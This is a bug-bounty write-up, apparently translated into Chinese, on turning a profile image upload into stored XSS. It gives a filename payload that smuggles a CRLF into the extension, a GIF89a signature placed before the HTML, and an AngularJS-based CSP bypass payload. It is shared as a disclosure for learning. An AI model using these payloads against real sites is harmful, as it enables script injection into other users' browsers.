图片上传绕过与存储型XSS漏洞利用技术详解

My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.

在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。


🖊️Writeup

在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。

Profile image upload

个人资料图片上传功能依赖于以下 POST 端点:

bash 复制代码
POST /api/images/

上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png

响应如下:

json 复制代码
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}

起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS

我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。

使用的载荷如下:

ini 复制代码
filename="name.html%0d%0a.png"
Content-Type: text/html

为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:

css 复制代码
GIF89a
<html><body>ANY</body></html>

这样,该文件被成功上传并呈现为 HTML 页面,而非图片。

CSP Restriction

当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:

arduino 复制代码
CSP script-src 'self' https://cdn.jsdelivr.net

这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。

为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/

Final Payload (Stored XSS)

html 复制代码
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
  <img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>

上传文件后,我直接访问了: https://app.target.com/files/images/name.html

此时,我成功做到了:

  • 绕过图片上传限制
  • 绕过 CSP
  • 实现存储型 XSS

✉️ Get in Touch

如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:

  • LinkedIn: linkedin.com/in/cyxbugs/
  • Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq
相关推荐
我滴老baby1 小时前
0基础速通Python+AI|2026热门轻量化玩法全攻略:从入门到实战,3天搞定AI应用开发
开发语言·人工智能·python
舞影天上1 小时前
在 Windows 上优雅地启动 Hermes Agent Web Dashboard
人工智能
XD7429716361 小时前
科技早报晚报|2026年5月11日:AI 工具链开始从“能用”走向“可治理”,今天更值得二次开发的 3 个机会
人工智能·科技·科技新闻·ai agent·开发者工具
lizhihai_991 小时前
股市学习心得-智能体顶层设计文件收益供应链
大数据·人工智能·学习
雷帝木木1 小时前
Python 类型提示与静态类型检查的高级应用
人工智能·python·深度学习·机器学习
雷帝木木1 小时前
Python 中的正则表达式:从基础到高级应用
人工智能·python·深度学习·机器学习
aneasystone本尊1 小时前
给小龙虾配本活动账本:Background Tasks 与 Task Flow
人工智能
AI先驱体验官1 小时前
臻灵短剧平台 · 用户操作手册
大数据·人工智能·深度学习·重构·aigc
蝎子莱莱爱打怪1 小时前
无废话!源自官网的Codex 命令速查手册!
人工智能·后端·agent